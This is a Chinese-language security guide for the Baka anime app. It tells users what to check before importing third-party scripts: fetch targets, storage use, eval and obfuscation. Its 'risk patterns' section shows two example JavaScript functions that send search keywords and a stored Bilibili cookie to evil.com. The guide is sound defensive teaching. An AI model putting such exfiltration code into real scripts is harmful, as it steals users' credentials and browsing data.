脚本安全与权限注意——从不可信来源导入脚本前该检查什么
风险在哪里
Baka 的动态脚本机制本质上是在你的设备上执行第三方代码。虽然 Baka 的脚本 API 做了一定的沙盒限制,但理论上脚本仍然可以:
- 通过
fetch向任意地址发起网络请求 - 通过
storage读写本地存储 - 获取你填入的 Cookie / Token
- 记录你的观看行为(浏览历史、搜索关键词等)
这些能力本身是脚本正常工作所必需的(比如需要登录才能访问的番剧源需要 Cookie),但也可能被恶意脚本滥用。
脚本能做什么、不能做什么
能做的
- 向指定番剧源发起 HTTP 请求获取数据
- 解析和返回搜索结果、番剧详情、视频地址
- 读取和写入自己的配置数据(如用户设置的 Cookie)
- 调用网络 API(但 URL 由脚本指定)
不能做的(Baka 沙盒限制)
- 直接访问系统文件系统(只能通过 storage API 操作受控目录)
- 调用系统 API(如相机、定位、通讯录)
- 修改其他 App 的数据
- 执行任意 shell 命令
- 绕过 Baka 的权限声明
注意:沙盒限制取决于 Baka 版本,部分旧版本限制较宽松。
安全鉴别清单
拿到一个新脚本后,建议按以下清单检查:
必查项
- 是否有 fetch 请求:查看所有
fetch()调用,确认 URL 是番剧源的正规域名 - 是否有 storage.set:查看存储了什么数据,是否存了你没预期的敏感信息
- 是否有 eval 或动态代码:如果脚本有
eval()或动态拼接执行的代码,极度可疑
可选查项
- 是否有加密通信:HTTPS 没问题,HTTP 要警惕(中间人攻击风险)
- 是否有混淆代码:压缩和混淆过的 JS 难读难审,谨慎使用
- 是否上传到未知服务器:fetch 目标如果是陌生域名,需要查一下
典型风险模式
模式一:数据收集脚本
// 看似正常的搜索函数,暗中收集你的搜索关键词
async function search(keyword) {
// 合法的番剧搜索请求
const result = await fetch(`https://anime.com/search?q=${keyword}`);
// 恶意行为:将你的搜索词发送到第三方服务器
await fetch(`https://evil.com/track?kw=${keyword}`, {
method: "POST"
});
return result.json();
}
模式二:Cookie 盗取
// 要求用户填入 B 站 Cookie,然后偷偷上传
async function setup() {
const cookie = storage.get("user_cookie");
// 合法用途:访问需要登录的内容
await fetch("https://bilibili.com/api", {
headers: { "Cookie": cookie }
});
// 恶意行为:复制一份到攻击者服务器
await fetch("https://evil.com/steal", {
method: "POST",
body: cookie
});
}
模式三:静默挖矿
虽然 Baka 脚本沙盒限制了 CPU 密集型计算,但部分恶意脚本可能通过异常高频的 fetch 请求消耗流量资源。
安全实践建议
第一条:优先用内置源
能不用脚本就不用脚本。Baka 内置的几个番剧源(Cycani、Gugu、Anime1、XiFanACG)来自官方,经过审查,相对安全。
第二条:只用可信渠道的脚本
- GitHub 上 Stars 较多、有持续维护的脚本
- 社区推荐榜上的热门脚本
- 你已经用过一段时间没出问题的脚本
- 不要用匿名论坛里来路不明的脚本
第三条:读源码再导入
哪怕你不会写 JS,也建议在导入前快速浏览脚本源码。看:
- 有没有陌生域名
- 有没有
eval或大段压缩代码 - 有没有看起来很奇怪的
fetch调用
第四条:不要填敏感凭据
- 不要在脚本的配置中填入支付密码、银行卡号
- B 站 Cookie 等凭据只在"确实需要"的脚本中填写
- 如果某个脚本要求的 Cookie 超出了它的功能范围(比如一个番剧搜索脚本要求 BGM 和 B 站双重 Cookie),警惕
第五条:定期审查已导入脚本
- 定期看一下已导入脚本列表
- 不再使用的脚本及时移除
- 移除后对应的 storage 数据也会清理
如果发现了可疑脚本
- 立即移除:在 Baka 源管理中禁用或删除该脚本
- 清理数据:删除对应的 storage 配置文件
- 上报社区:在相关平台告知其他用户
- 修改凭据:如果怀疑 Cookie 被盗,及时去对应网站修改密码
Baka 官方的安全措施
Baka 团队在安全方面做了以下工作(随版本不同可能差异):
- 脚本沙盒:限制脚本的 API 范围
- 权限声明:导入时告知脚本会调用哪些能力
- 来源提示:显示脚本作者和远程地址
- 开发者模式:部分版本提供详细日志便于排查异常
- 代码签名校验:部分版本对受信任的脚本仓库做签名校验
最后的话
脚本生态给 Baka 带来了强大的可扩展性,但能力越大风险越大。保持基本的安全意识(读源码、只用可信渠道、不随意填凭据),就可以在享受脚本便利的同时,把风险降到最低。